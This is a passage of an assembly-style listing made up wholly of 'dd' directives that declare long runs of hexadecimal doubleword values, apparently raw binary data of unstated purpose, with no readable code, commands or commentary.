0D1E1DBBBh, 0D7ADDC3Bh, 4A174BC8h, 1804F559h dd 9F290E35h, 3FDE3EADh, 0A5BA7CAh, 28C3FECCh, 62890350h dd 0BA5611CDh, 1F3B6A31h, 0F35AF1EDh, 0FCBD012Dh, 0CCF69DF1h dd 55AACFDEh, 0FA3DCF73h, 8EE2F543h, 58593C0Ah, 550FEAACh dd 0A87159CAh, 2B88DD3Fh, 0ED156835h, 0E460CC85h, 53C48962h dd 0EE3AF2DDh, 2AA8D7B5h, 2A97317Dh, 8876918Ch, 0A3226D59h dd 1B843ABh, 0DE50C2C0h, 31225F80h, 21233846h, 875DAEBEh dd 0F2CEC1B0h, 57B65E3Ah, 84CBB485h, 4CFC597Eh, 0A2CE1F9h dd 0DC59DE94h, 0E059A8A2h, 0ADDCB2C9h, 0C9209EFEh, 8D0F54CAh dd 0C9825163h, 0FAEA8820h, 0AC76C1C2h, 6DB07F95h, 7883C2E5h dd 43BC8D58h, 0E9D33233h, 9E723F58h, 0E7C2A7F8h, 5E254BFAh dd 0FDCADBECh, 4B019DACh, 0D275D333h, 35D50026h, 6FB8E2A3h dd 0F10FF282h, 0FB25379Bh, 0DF71825h, 0AC77279Ah, 28D2DFBDh dd 0CB750EBDh, 0F9D7A29Dh, 0E8666497h, 0BFE26A5Ch, 1327ECE2h dd 3BE37EAEh, 0D0902B09h, 0FD09848Ah, 0D9023E13h, 7BDEB8F7h dd 0E09E204Dh, 0D0B292BDh, 0C5BFD8D2h, 0CDF94996h, 0A1725CFFh dd 0CB834366h, 44CD7F24h, 410CB0E6h, 2ACA14FCh, 0FD35275Dh dd 13C8E18Dh, 2C77B239h, 4AF7F807h, 56458C6Eh, 3A3AF2BAh dd 597BF0C8h, 52993EB7h, 4A2597Ch, 0F693F5F9h, 0EC84676Ch dd 65E2799Eh, 5CA9D8BCh, 0EC55BAC3h, 0DF077F6Dh, 0F839B8EBh dd 78E0F626h, 0A1B92F82h, 14132272h, 2FC319FCh, 54A657E1h dd 22F25884h, 971BB02Ah, 5B0B3EF4h, 0EA90EAF9h, 0A13D8627h dd 2EFF167Dh, 5D210EF9h, 7715B96Ah, 744E2D6h, 0FA8D249Eh dd 73020832h, 0A4A71AC6h, 0D715BFC1h, 8FA5E2D9h, 23F81288h dd 454050DEh, 979918E2h, 7D762747h, 0ECB71E02h, 0C5CFCBB4h dd 6CB1FEE3h, 16CB95BEh, 55DFECB2h, 0BE338A22h, 0DA7EBF83h dd 5328AC23h, 0EBD5AFF8h, 0F058958Ah, 0C1DE058Bh, 9A1D67E8h dd 9744485Eh, 98FC50ABh, 6466AAC2h, 1516B9A6h, 0DFCD0B49h dd 0FC7C9C4Bh, 36F76B38h, 2811F7Dh, 98BB99EDh, 0C86D513Ch dd 2A4BC3CEh, 5F6D04F9h, 62CE4039h, 7A8B813Bh, 75495E34h dd 925F23D6h, 724A1C9Fh, 0D7B3C7ADh, 0AE6608E3h, 0A6EFAB18h dd 69731ECBh, 4F42AF9Ah, 0A254BAE9h, 0E0BEDFE1h, 3FE28180h dd 0A467938Bh, 0D8EC10B5h, 20456671h, 0B8FB776Bh, 0F646043Eh dd 0AE6088B3h, 0BC3D2D8h, 0C23431EAh, 0BEF7A4B7h, 0D27A12AAh dd 0A99C8816h, 0D88E5397h, 341C53D1h, 2D42F751h, 0D44D2776h dd 7941CCB8h, 0FC43CB4Bh, 6BC789A9h, 7BF97D01h, 23F8324Fh dd 0DF7361F9h, 0EAD326F4h, 0B8E3E276h, 0A093C89Ah, 6D9EA225h dd 6FA37E63h, 0D7CF3A98h, 8A523C63h, 91788724h, 0F8F15412h dd 71E7AED4h, 0F19E0AA0h, 9A28565Eh, 0E993822Fh, 1A05247Ah dd 0D7EFEA83h, 6B1632B1h, 4BFDDAADh, 9AF136A5h, 60EA0ACCh dd 1B115F0Bh, 42D6F6B1h, 4A840621h, 2C1B27D2h, 13F469D5h dd 2E13582Eh, 534AB58h, 7983840Fh, 60C6A354h, 285AFD3Eh dd 833831A4h, 668614A0h, 68626411h, 86464136h, 18E904ECh dd 0AE94F982h, 13E68049h, 42D0C9D4h, 0C2183A82h, 0A18C6735h dd 33B50425h, 0A2438EE4h, 8252D004h, 0A784324Eh, 790CADB2h dd 0D0C13A09h, 185A8272h, 0A3C42982h, 66FE6C80h, 0B20E2A76h dd 67626A13h, 56767EE5h, 6EB3B2D7h, 0AA1B3B0Fh, 9DB4D9D9h dd 0D8DB2D9Dh, 9D95BAD9h, 0D9D85B6Dh, 0EA9D89BEh, 59ECEC0Dh dd 5AED4EC7h, 61AFF676h, 3B3569A7h, 0D3B25707h, 68E7621Ch dd 7E2D3B05h, 0B2944E76h, 9D9CBAD3h, 0C4765E93h, 97DA7632h dd 0B37313B2h, 9D84B1D3h, 78E4C5CEh, 45EC8CAFh, 0B17BDB97h dd 2F15CCECh, 0DDB8A161h, 6346818h, 6B277D6Bh, 0BFC45216h dd 5D9FA5CDh, 7AA7E9B3h, 9EECFD16h, 0F2FB3F41h, 0DAFC27E9h dd 0B27C2E9Ah, 0C79BF4B5h, 0A08EB4DDh, 1036866Ch, 0B410C594h dd 8614C41h, 312659C6h, 71A095B4h, 28236D0Ch, 4EDA193h dd 9AA8618Dh, 0A0860CA0h, 0A19D3D11h, 18D2825Ah, 85920882h dd 528226A1h, 9F5C8218h, 74182189h, 14743234h, 6A18E38Ah dd 226BA821h, 9DC3D020h, 5998C10Ch, 47384307h, 6C8218C5h dd 0ED433B42h, 0A0860904h, 4324F53Dh, 32B5041Dh, 9D049D4h dd 6A08BA86h, 34474861h, 8C8651DAh, 64333504h, 4320E822h dd 31350429h, 3F682164h, 0D5046943h, 2A7E1412h, 317A02FDh dd 0C0F77E83h, 0FEC3191Fh, 0E6ADFA4Ch, 0DA08E398h, 8224D0CEh dd 853431B6h, 650CADA0h, 0A185B411h, 3136826Ch, 6D04794h dd 0E7CC15E4h, 0EFD066BCh, 45990E3Ah, 66865AD0h, 2186B413h dd 19AB413Bh, 4AD04B9Ah dd 3E767BA4h, 83885BA7h, 177BFC29h, 98097FB3h, 4DD31CFAh dd 0A5A19F90h, 0D0C398D0h, 33968232h, 29C585E4h, 0A73967CEh dd 65DFA52Bh, 6827E21Ch, 20154329h, 110A1973h, 95A184B4h dd 68662D04h, 190B4135h, 7CC245C2h, 3412D686h, 3875A197h dd 81B4331Fh, 6D0CD9A0h, 43166822h, 833B7678h, 0E504ADA1h dd 0A08DB433h, 13B6863Ch, 3550CD94h, 0C10C5941h, 8214C054h dd 0C6E24F76h, 89EF59BAh, 0E0C77F85h, 87228D97h, 77E9AB83h dd 0B28A38F7h, 0AA7E932Fh, 5ADA70C7h, 0D0C19B4Ah, 19D2827Eh dd 8D28226Ah, 5A7B0821h, 69A48218h, 9410430Ah, 0A1043134h dd 991CA34Dh, 23957810h, 9AEA093h, 0EA09323Ch, 0D4104864h dd 413B50C1h, 4628631h, 0B50433B5h, 3C2182B7h, 10C93FD3h dd 0CADAE4Eh, 0C13FC561h, 16A09190h, 1D044C86h, 0A0852865h dd 8D28666h, 3A50C83Ah, 650C4D41h, 0A19FB410h, 196A824Ch dd 1ED0471Ah, 54112686h, 8214D0CDh, 459433B6h, 0B28636D0h dd 50CADA09h, 185B411Eh, 136827CAh, 0DA083343h, 822CD0C0h dd 9B3431D6h, 0D90CB5A0h, 0D0C35A09h, 3356825Ch, 95A09F34h dd 6C42D0Ch, 6BA3013Ch, 951E45F1h, 21C15BF4h, 33F2094Bh dd 72806D04h, 2A09782Eh, 8272DC65h, 8A543396h, 550CE957h dd 0A18CB410h, 194B4110h, 2F6095Ah, 5A086B43h, 825AD0C2h dd 8EB43316h, 7D2885A0h, 7D2E06EFh, 0E7CEFD13h, 99EE5810h dd 6C56D0CBh, 6DC35CEEh, 0FD3B671Ch, 6A90E6CEh, 4316682h dd 183313CBh, 9F2825AAh, 0C89F2821h, 0A089A863h, 960866Ch dd 0B1790B23h, 3646DA85h, 0FD853916h, 413FEC2Dh, 7FE093BFh dd 0E0FD95AAh, 3F838EA5h, 4EDFD822h, 0C47299BFh, 20863410h dd 3C7AC1A5h, 86E34B58h, 0DC7219FCh, 0C72E9410h, 7269410Dh dd 962360DCh, 311B06E3h, 5BC4D8B7h, 63B60A74h, 0FEC2C12Eh dd 5CCA6C34h, 67F67483h, 94E66B60h, 35DB6FD0h, 0B60FC79Eh dd 61C68666h, 1268666Bh, 0A68666B6h, 8F1E6B60h, 638ACAFEh dd 188365D2h, 0FDE11A5Ch, 8A81F65h, 0EFBB65B0h, 6652AE95h dd 0A60D029Ah, 0FA8768DBh, 7F977A28h, 9015D5ECh, 5D0F88FBh dd 434A0887h, 2A104E1Bh, 8DB129D6h, 1E314CC6h, 6751A41Ch dd 0F6F8BAF4h, 72C7617Fh, 0D867218Ah, 6FDB7202h, 52973E28h dd 5922927Dh, 614D2B8Fh, 7822F26h, 0BF217124h, 0D68B883Bh dd 0D1711AF1h, 2E235E32h, 88D78E8Eh, 35E3838Bh, 0BC69A2E2h dd 0F5C85C46h, 0FEC5C405h, 51711AF1h, 2E235E3Bh, 88D78CF6h dd 4CF1EA8Bh, 0A7676C5Ch, 0A13B1B62h, 0DCACECADh, 4DEACEC2h dd 0C0D9ACECh, 0EC75DACEh, 0CECB5BACh, 6CEC3586h, 96CECD5Ah dd 0D6CEC95h, 82ADB3B1h, 767EED9Dh, 0D9D94BAAh, 5A9D9CB3h dd 97FB3B2Fh, 94B4D3B1h, 766E839Dh, 73B0979Ah, 2D3B3174h dd 3139D90Bh, 0B9D69D9Fh, 0B3B49CECh, 0D3B36623h, 2DB36BCEh dd 1D7D8B36h, 593DF033h, 7477839Bh, 67F435E4h, 49788F9Fh dd 0CCFC47CFh, 0D372352Ah, 3B774187h, 80E8AC5h, 518D2BA1h dd 1166AA1h, 8DD6EF29h, 872A0A92h, 773AB075h, 92F57E1h dd 3EF2A41h, 642CE981h, 36E2B07Dh, 5606C68h, 7BBB4E04h dd 0E288D10Dh, 0C819897Ah, 1597A818h, 306625A3h, 4E235663h dd 0C25CC4AAh, 0CE600A98h, 374409F3h, 605E318Ch, 0D93470DAh dd 23908B3Fh, 0F206E918h, 98532328h, 0E4F43E93h, 0B6BA1829h dd 5847B45Dh, 5D812E57h, 0F1BAB076h, 339F89D3h, 3F1AF9F8h dd 7980BB31h, 0C67BBB40h, 50465EE4h, 1D5D89C6h, 0ACDD88B4h dd 0D7BC5A53h, 864CA7BAh, 69F76EE6h, 0DC4E353Dh, 6BC79A77h dd 0A877B8F0h, 0EE03933Bh, 50A38C21h, 0FE0192CCh, 4E90B41Ah dd 39BC707Bh, 0E79A6F14h, 880FE716h, 25C539C4h, 819DCA94h dd 0F23245B2h, 0E71D0A71h, 0DE57CE93h, 2C81A007h, 0BB1EE585h dd 0F07D304Dh, 0AF5E3C7Ch, 0FDD7101Dh, 0DE1C3C8Eh, 14237CB6h dd 7DEB648Bh, 5D9F6730h, 7EF79E8Eh, 0F1AA2E43h, 0CBD4B905h dd 0A5C84FDEh, 553F35BEh, 85DFEF5Bh, 9BB0653Eh, 41638CA3h dd 4D3E33A1h, 0A5C71E37h, 82B03135h, 2806B483h, 20C756D3h dd 88CD3A29h, 877F1BF9h, 6508CB86h, 0C5C24AE4h, 3E740EDFh dd 4F8ECBE6h, 0DE216933h, 9566F189h, 37176BC7h, 0DC250D7Dh dd 6BF2BE12h, 76E12ABDh, 0ABADA349h, 68CC3275h, 7026DFC7h dd 10F9EC8Fh, 9A20B765h, 7C8A1F1Ah, 0D08EBD09h, 745D69F1h dd 6D25C37Ch, 0D2D164Dh, 0E209BE85h, 78B453B3h, 13345A30h dd 0E3BA1CA8h, 49A67F0Eh, 0D450A52Bh, 7D92929Dh, 29EF62C9h dd 0C50DC01Eh, 6D5C5392h, 720E9C79h, 0BE46914Bh, 5A742FFCh dd 10F47B8Fh, 41E6798Ch, 3AE8A6A8h, 170D8786h, 86582A45h dd 42D813ECh, 0F5DBBA30h, 2DC7AC3Fh, 75E208A7h, 835401BEh dd 920D206Fh, 2931C046h, 0A9138923h, 962501B8h, 0D95CB8A5h dd 0F24659A3h, 2321FFCCh, 0C7CE89C9h, 74CEE3B8h, 0DE7E48CBh dd 0C5DA708Dh, 443C62BFh, 7021A342h, 0A1BD91E3h, 4381CA5h dd 0B95C8076h, 7B5E5DA7h, 53DA9468h, 0CB81299Bh, 43142B10h dd 8CD4F62Eh, 0E290B79Ch, 0ECBA0429h, 7DD509E2h, 56F5164Ch dd 0C43C36AFh, 7A3C5A05h, 35E2787h, 2E27BDCEh, 6A85F1F9h dd 584B0714h, 5A23B6B6h, 2FEC7A26h, 3BE6BE7Ch, 0F96B9482h dd 745B4792h, 0D446BF7Ch, 571D331Ah, 12239895h, 47519589h dd 7FA32ABFh, 0FC24AD22h, 0FC5E6511h, 26D1AB8Ah, 15022F51h dd 12E3A895h, 5AA057F5h, 0C470E508h, 7FF5E87Dh, 596D9E1h dd 0A7919456h, 0EC0D339Dh, 0E2D90ACFh, 75652FB4h, 0B7A25824h dd 0E886B56Bh, 0D293D0E2h, 97240A44h, 0E47B93A2h, 745FFF49h dd 0DC7B770h, 0E7E23E3Bh, 3DD3F0F7h, 6D02F68Bh, 0EFDA68Ah dd 7B94BC9Ch, 0A4688AE5h, 3233289Ah, 9AE970D3h, 0E9876AC4h dd 0B58C3FF4h, 8D2B860Bh, 4EDC4914h, 0D2B85E1Bh, 59E42F74h dd 26D145C0h, 31A7AEF1h, 9DB60189h, 638F175Eh, 0D04C2EACh dd 97ED44EBh, 9E9C5858h, 79C7ACC7h, 80BE6DBCh, 82CF2D97h dd 0CB51A6C6h, 8CB28F7Ch, 0DCC5D150h, 0D084DEF3h, 452FB8E8h dd 0B6674C81h, 0BD961551h, 0F49A7AEh, 73772D8Bh, 1364D213h dd 6A18DB14h, 0D7BD6E45h, 5E513010h, 0B156DB17h, 912FB4CAh dd 0C37B01D4h, 0F553C49Bh, 8D33D7D4h, 936D88F6h, 0E836BC5Dh dd 0FB9CF2FBh, 1D79E7BFh, 0BAC6936Bh, 52C62852h, 42F65C53h dd 35AFC64h, 0D96078ADh, 70B4E847h, 644E4691h, 0FFB15C2Fh dd 69BFEA0Bh, 779AD99Ah, 0B8F5ED12h, 0DFC534E4h, 1E99B5C9h dd 6E09165Eh, 89B73BE4h, 0D847948Dh, 0A7D0B46h, 345F9EADh dd 0D1AAAAB0h, 434AD806h, 1831EE2Eh, 4319D46Ch, 32D2A84Fh dd 3DD169BEh, 11C3831Eh, 0BEC2B5B1h, 81BE993h, 918778DDh dd 0C8C0BA17h, 824CA127h, 0E8F1BFA2h, 0D2D743E3h, 2B0D13F2h dd 0A7B931BEh, 872719A5h, 30915156h, 0DC993780h, 595270FAh dd 0A7C23DB6h, 1CBA771Dh, 0A590ADDEh, 378FE4D7h, 0E78165F1h dd 417D7121h, 0EC0A2EEFh, 0E5A68BCFh, 66BC5914h, 9C414DE6h dd 4C0BFD36h, 90519CBAh, 1DC8BC42h, 0EB1EAFBFh, 0D47D0645h dd 0A1661A44h, 45DB2AE4h, 0D2F813B9h, 99284565h, 0A4D2FC5Dh dd 58DBC556h, 556FFB96h, 7EECF365h, 0C2736955h, 1D287114h dd 5DCE88EFh, 0D827E6Eh, 5F08ED5Eh, 89675A79h, 0FA3E4667h dd 0BFF9675Ah, 0E05775F3h, 50DDC71Dh, 303DD7B0h, 1EF4D1BCh dd 41D123CFh, 0C5479E3Dh dd 312AFD15h, 5C8EDA5h, 3110DA4Dh, 0BA8D6D7Ch, 0B2FD79DEh dd 0FF1F676Dh, 0F63FB6F2h, 0EDAAFFF1h, 0BFFC7DB7h, 0FB17C36Eh dd 0B4A3FA37h, 2B7F99EDh, 0CB771BA2h, 253D65D1h, 0F5C74594h dd 2F445678h, 0D63CF1EFh, 0D880DD7Bh, 0D5DEB08Dh, 9CD1B5AFh dd 4AC4A37Fh, 0B3BCED24h, 9562D7DFh, 0B7D02F36h, 0B3A5382Ah dd 0AFFF4A3Ch, 0FD257FD1h, 0FFFE9DFFh, 0A1BFFF49h, 0FFE84FFFh dd 96BFFA1Bh, 0FD225E3Eh, 97FE93Bh, 0FF483FFDh, 0C37FE82Bh dd 42DE30D7h, 8304FA7Fh, 99D46CD9h, 4D929313h, 7037F003h dd 0D494A0E0h, 58A073C1h, 0EE999BCDh, 32C3A654h, 0D53B6EC9h dd 28EC93D2h, 99919C6Ch, 0A9356761h, 0C4F0772h, 87472434h dd 60819EEEh, 4350A393h, 7496885Bh, 0B40333B8h, 8E7FE5A6h dd 93585D71h, 0A44838F9h, 0F693E4A9h, 15D73C5Ch, 9656DFC6h dd 4D38E66h, 4892E4Fh, 58D86C8Dh, 0FF2452A4h, 73CA9435h dd 4BC8E213h, 0B7224BE8h, 5A9FA9EBh, 61464F20h, 169919E1h dd 0F4DFC571h, 0DF546938h, 0CE54C464h, 253F252h, 779A377Fh dd 28B4CECEh, 1DE639BAh, 49F80CB3h, 0BCDE8FC0h, 0EEC73743h dd 0CE7AA2CEh, 8CBB68D3h, 0AE724D1Eh, 1376F2FAh, 0AF3A4D8h dd 2E4A119Dh, 69B2F052h, 309A6676h, 0A1A452B0h, 0DBE593D8h dd 11CCD2D8h, 99B9E125h, 3D7558E9h, 32EB28B7h, 56D818C7h dd 0E64F6465h, 721B3D08h, 0BE509683h, 0D40C5761h, 0E5EEC915h dd 33851237h, 0C36AD716h, 0D3323322h, 0C46F4BDDh, 8DAE3E3Eh dd 8F9BF56h, 6DFAE0F2h, 0E09F3B98h, 0A457BA08h, 82126822h dd 1A7409EEh, 9C1954D4h, 41416BEAh, 5650446h, 506A8D3Ah dd 3A080DC7h, 413A086h, 3A078746h, 1C997D13h, 0F6839074h dd 813B6820h, 4CCC8A91h, 67F867B6h, 0F538FBC1h, 0E40A45BFh dd 0DE57B9h, 7FE9CD5h, 0F179BA74h, 250BE477h, 0E63A0798h dd 38F3B972h, 17B49E68h, 7F4A4404h, 0FD69D1C4h, 22FBFB10h dd 51172ED0h, 34B07DEDh, 0FAE3DC54h, 84C8ABC5h, 4D453CC0h dd 0CD151FE9h, 0B2BBBBB1h, 3470E7FAh, 0ABD15FABh, 0CB207EB3h dd 0EDA4EFFCh, 28C6F6B2h, 247D1706h, 24426F97h, 2712BC60h dd 0FF6B6681h, 108C043Ah, 0A3AF724Ah, 0E0C83680h, 435CF3E3h dd 5D809BD8h, 6FD13DFCh, 5364046h, 0EF8A7F44h, 9AEEED95h dd 176B7DAh, 5CAE4CE3h, 26EFD4D3h, 28C593BEh, 13A2029h dd 0FFEA745Fh, 1CDDD056h, 4C993DF0h, 0EBFEE7C0h, 0E0417CA7h dd 0DC22AE1Dh, 8CC7FAE3h, 0C4CA0ABFh, 77FD7ADDh, 0DC5320F0h dd 31E0FB6Bh, 9737688Ch, 69F11BA2h, 1F2CA09Dh, 0F43487E2h dd 0FF5F1689h, 8B5C4ADDh, 0CDF52732h, 8A9C6023h, 2A7DA5AAh dd 5CB5518Fh, 1AFCA9B9h, 7377CA76h, 0C57101B8h, 0CD3D27h dd 7BF5BDC2h, 3108FE62h, 4C57A6Bh, 7FACBDC2h, 29E2F74Ch dd 0ECCE06FDh, 3EAC88FEh, 192B9A08h, 0F0307C2Eh, 0E5601E33h dd 0F1A4B4E6h, 0E8CEE722h, 0BB9A7B97h, 997EBAE3h, 88FE96Dh dd 0FB7847F5h, 47F7E623h, 3BEEB8CCh, 0A2E0D5E3h, 968BA615h dd 0C10E8B5h, 76F764B0h, 65EE89C0h, 0CB4DF6D7h, 9CB62C46h dd 9EE5F104h, 428C27DFh, 0B3D794C6h, 1BF1620Ah, 4CFE408Ah dd 68480887h, 1A5188Ah, 4D324F43h, 7CB2E58Fh, 0F54B163Fh dd 0F3D0CF72h, 1ED54916h, 0D75173D0h, 0C58EFAE7h, 7E1774AAh dd 0A88EFAF8h, 93EF956h, 0D6F709DCh, 0FC61B11Bh, 97DD755h dd 0A9BCACF7h, 0F7B5EBE3h, 6BEFE63Fh, 20F50CAEh, 4A00E6E5h dd 9B1CD1EFh, 0C8843BC5h, 0CE3AF723h, 0E13323C4h, 22734D77h dd 77603B7Ch, 7BA0E6AFh, 79BDFCB4h, 4AF7689Ah, 3BA1B80Eh dd 0EB9EAAE0h, 71584E41h, 94B62823h, 0D6C70D6Eh, 73C9A8DAh dd 602B3E71h, 31D311C4h, 0B62ACB0Fh, 0C5A1A84Fh, 3E3D6AE2h dd 9B4793D3h, 0E65434A3h, 8C4F3D9Dh, 23DBFAA2h, 0A8F3F533h dd 0D6BF47D6h, 375D93ECh, 52244Fh, 0AABA9E94h, 78C6F292h dd 0FB37794Dh, 0F18DE446h, 0F7373D99h, 35101F24h, 5910DA12h dd 0F71E0FA4h, 0CFFA66Eh, 28646D3Ah, 0AE6C4F6Fh, 9FF0494Ah dd 8626F3CBh, 0D3D1F94Ch, 9EBA31FEh, 0BDCF8E0Dh, 0FBC20998h dd 0DC259F11h, 5F046E27h, 8F974BA8h, 0F09C40ABh, 0EB73C7ADh dd 0F752D5A5h, 26991BFEh, 0B81F59C1h, 9456B03Fh, 167439AEh dd 0CF8F1BDEh, 88ED5CF1h, 2021E337h, 5EC0AC28h, 15BE0CE0h dd 562A743Fh, 0D0D5D35Eh, 3FC5E569h, 0B4024A4Bh, 47DD53F4h dd 0CFA63A42h, 0FD94E9A5h, 63A2272Ch, 279277A0h, 0EE2D3D51h dd 0DF7D51B9h, 0F9231D0Ah, 0F4DA64AAh, 0AF65E75Eh, 8874F73Dh dd 0E5EFA53h, 3A538FB4h, 0F45790C4h, 0E57DD10h, 0D0ED9689h dd 0E7126B4Ah, 7DE5E977h, 0E7A82469h, 87C2F381h, 0BE5E1D7Ah dd 0B5BDE3EAh, 0A632ABA2h, 57DE1EB2h, 548CD794h, 0DED3DCE7h dd 9B9BB5Bh, 0F052C638h, 1F9AB505h, 798CCC6Bh, 1A75EA1Fh dd 0E2830397h, 0F592FC98h, 0DDD162B2h, 0C5734B32h, 93185802h dd 6D49B86Dh, 1F387A83h, 67B0B331h, 57708EE4h, 481BE8F3h dd 0B90746D9h, 21C793B7h, 16B2B6CEh, 0B5E26E08h, 0BED5EB2Fh dd 53D0A283h, 0A666CAAFh, 0A26F3351h, 0F80DF52Fh, 81B6FAFDh dd 6E485671h, 0CEF01E0Ch, 0BCE8E7F7h, 0D3D2A8Eh, 1BC94A6h dd 0BD52A034h, 3E81BCC6h, 68D1ADC3h, 0BC9C1E95h, 18642977h dd 21425C85h, 7A06F383h, 4F88D207h, 7F4DBAAAh, 9853F45Bh dd 4F4E54A7h, 0C738553Ch, 32B64629h, 799FC6D3h, 89814EB3h dd 34E4282Bh, 488310D1h, 27EE03E2h, 2F98E82Fh, 81D64925h dd 0F7E80EACh, 5E152C59h, 29FD9CFFh, 4FE30583h, 9ACCA5B1h dd 79345DE5h, 0DF717D30h, 67AD0ACFh, 71696502h, 0F26652A7h dd 82FDD35Eh, 915D0898h, 6A9F2F94h, 17036FBAh, 83B43E31h dd 7176EC0Eh, 0E75E9D57h, 676F2449h, 76800B07h, 6026C075h dd 0CE8EA87Ch, 0F415786Bh, 0A289040Dh, 0DC1D097h, 617A2A4Fh dd 0D245B5ADh, 0A791334Eh, 8CF5933Eh, 0C03FE78h, 1C873101h dd 3CC115F5h, 562F9E27h, 0F00E7C49h, 469CE692h, 0C5621C09h dd 9CAA3C07h, 699087C2h, 84E55830h, 0DD9A554Ch, 5DA84B41h dd 4A9D309Eh, 9F7E9C4Ch, 3E21C8FBh, 0AC55C027h, 6D3C4C34h dd 0F9A099F0h, 4586AAE0h, 9AA48A0Bh, 7525FDDh, 0B35C28C5h dd 0D329893Fh, 7C194DA1h, 0AC71EB3Fh, 0C748918Eh, 0FFBA7C7Bh dd 1CFCA8B3h, 0C578286Ch, 0EF70D658h, 5B2FB4BBh, 5A7AEDA2h dd 528BB3BCh, 41F715CCh, 4696C872h, 5084C187h, 0D0C8F67Ah dd 0B98B066Bh, 5B142CE2h, 6B024ACh, 6185BA22h, 0F798875Bh dd 76B6AC3Eh, 0FB1A9B76h, 7ACA93A6h, 1B7E83B6h, 94E0998Dh dd 0C09AC2AAh, 2019DDD8h, 4EBEE3DDh, 0DEC8843Ch, 2E646DCDh dd 0E825F34Fh, 0FE714E98h, 0AF17E85Fh, 29496234h, 55B253DCh dd 5831B3B1h, 65596A26h, 0CA64072Fh, 0BDB97900h, 0D69F07A5h dd 83DD9F1Bh, 1E5E31D7h, 7D45DE1h, 605F509Dh, 0C642FE0Eh dd 1DB96290h, 0C44D45AAh, 6AE17217h, 746A2B96h, 0F4850CBAh dd 6B4F5EA4h, 710F89B6h, 0B733C3C2h, 5E4FCACEh, 828DC0B1h dd 0DEA752ACh, 8194315Ch, 19A86904h, 2FE5C44Dh, 3E8F77CDh dd 0FA211112h, 625F6900h, 0B645AB1Ah, 14F919FFh, 53DF4BFFh dd 8097F699h, 42512D9Ah, 2A015EA2h, 25DAA247h, 5750076Ah dd 12FBD44Bh, 2EA037F5h, 0FF9D1425h, 48C01E30h, 477E73A3h dd 6959782Bh, 421F4678h, 0E3F3010Ch, 0B0F467FBh, 9242DAB2h dd 9F07350Eh, 3058E3C7h dd 1C713CE6h, 6A4E3B22h, 0DF7BB8DCh, 0BE71B955h, 5B98BDD1h dd 9F1E7D62h, 0E7BD32Ch, 47C3F7A5h, 0CE7E4D47h, 5E77948Bh dd 0D17B7360h, 8E96C54Ch, 38496773h, 0ACB97A3Dh, 6B8B5D9Fh dd 673E5B12h, 0A75489E5h, 77B8A2ECh, 6E2E1A94h, 0B069213Ah dd 310D54h, 8E34BCBAh, 0DCF28419h, 9502FF2Bh, 902F14D0h dd 0F92B750Ah, 1699AA52h, 64E1470Ah, 9A7246BCh, 44A23E2Bh dd 54C1CCB3h, 0F316D91Eh, 785826CEh, 3A8FC287h, 7D1CFBB4h dd 9404ADB4h, 0FC06BB9Fh, 493E0FDh, 0AA5906EFh, 0E1B2C34Ch dd 31B4F88h, 236AED22h, 6C1C4E7Fh, 0C49AB1DAh, 0BC073D8Fh dd 776F50C3h, 40C2D04Fh, 0E174710Bh, 3E6B2E3Fh, 2451638Ch dd 63150BF1h, 6F4424F4h, 58F19EB5h, 42AC57BAh, 6A631877h dd 0FBF76E4Eh, 367E7772h, 945F68E4h, 0E591E7ECh, 7841C6E7h dd 4431E8DBh, 12E70393h, 1E1E297Ch, 42A64B59h, 9FA3C74Ch dd 610596DFh, 4A3D33A8h, 48C2DC14h, 26452999h, 0C0DA3A65h dd 8864E14Bh, 0D98FC550h, 343D8CC5h, 7AA3BB85h, 0A937BBC4h dd 5AB5E58Bh, 0C4FB2B8Ch, 0A9D8B9F8h, 0C5A298C5h, 0B189F5D0h dd 0C5A53C54h, 0F18B46B8h, 31DEEEFEh, 0AC3C4BFEh, 0C5A718C5h dd 0C627D3D8h, 351CC42Fh, 83812786h, 0FC13ED9Fh, 0CB553133h dd 832D3AE0h, 5A0C535Fh, 58DD0AAAh, 0C510DC83h, 0D8E4AFE3h dd 8A72E88h, 0AC31A1F1h, 2782BDF0h, 86549A8h, 2BA952DFh dd 83C6757Bh, 477E09F4h, 0CD01DCC3h, 0AC56B1E5h, 0C145179Ch dd 8303B027h, 8EB49037h, 6AC33F66h, 0EFC553ADh, 12465203h dd 15C659E3h, 0DC953E87h, 15D618FDh, 4554FA89h, 0DEA60BFDh dd 5B7797DEh, 2AD066C1h, 0B0737145h, 17E6CF51h, 64117C75h dd 1D0B72A2h, 62C4D50h, 0E7835810h, 0EBE2850Dh, 29DB1516h dd 0EFC8134Eh, 62748F6Eh, 224664A2h, 82E15727h, 1049E620h dd 50586DF5h, 0BD4A5F62h, 2698D51Eh, 0BAC5DF83h, 0A25AFB10h dd 402DF0F6h, 0B324A30Bh, 85E7EC5Eh, 4A4EA240h, 0C50D2414h dd 3DF45B3Fh, 0F3DF1397h, 5716CF3Ah, 0BD603ACAh, 0D9C92637h dd 5B58A7D8h, 4727C13Ah, 6942EC85h, 88F2FD43h, 0DED22802h dd 0BA5AF9CFh, 0CC44B127h, 0E5CFB5A0h, 433EA499h, 0B98C3494h dd 81F4F7E2h, 0FA66A342h, 0FDE31E6Fh, 0DD84DF96h, 5763E681h dd 5D816FCDh, 534F071h, 29A58E3Fh, 38A160F1h, 0EB78C7Ah dd 0ADA85625h, 3B58293Eh, 517A3D32h, 0F78F87D6h, 0A37B38A0h dd 0C1DC32B4h, 6F567A8Bh, 0F132DB46h, 29C09F5Eh, 1D51DA1Eh dd 7F98F9EEh, 0AA47F8Dh, 0F8C7C588h, 6A5D8A54h, 714E811Eh dd 52D031CFh, 0AE4C5F71h, 0AA8BC59Eh, 3569176Ch, 67370E7Ah dd 8780C275h, 0A4995874h, 3258976Eh, 0EFBA729Dh, 0C4C37EDBh dd 5A41BC9Fh, 0C262A346h, 0D6D25031h, 78874EE3h, 0D2F6492Fh dd 250E235h, 99B145F8h, 404DE285h, 3BB08B81h, 636833F2h dd 61DB104Bh, 0FEDA171h, 42DF27ACh, 698ACF74h, 6C13CA25h dd 95E76E55h, 46C4B4ACh, 0E552296Bh, 0D0F4CDAh, 106E512Fh dd 0BD604BBFh, 879DE63Bh, 0D2E5D626h, 68E4F7EAh, 5E26EBD6h dd 8E83A4DDh, 547898FFh, 0E3089846h, 7203A5CCh, 95E6297Dh dd 0D3483C5Dh, 0DECA07D5h, 4F664F7Ch, 7F160D87h, 868FA1BAh dd 102DC20Ch, 0F738A94Fh, 5BDC7426h, 3C81F02Fh, 0E6499D0h dd 10E1C782h, 457C09C5h, 87FFE443h, 7ECE3334h, 3461D788h dd 8F249E4Dh, 6B2633F1h, 0F05B92BFh, 7B900C2Eh, 0F50A61DEh dd 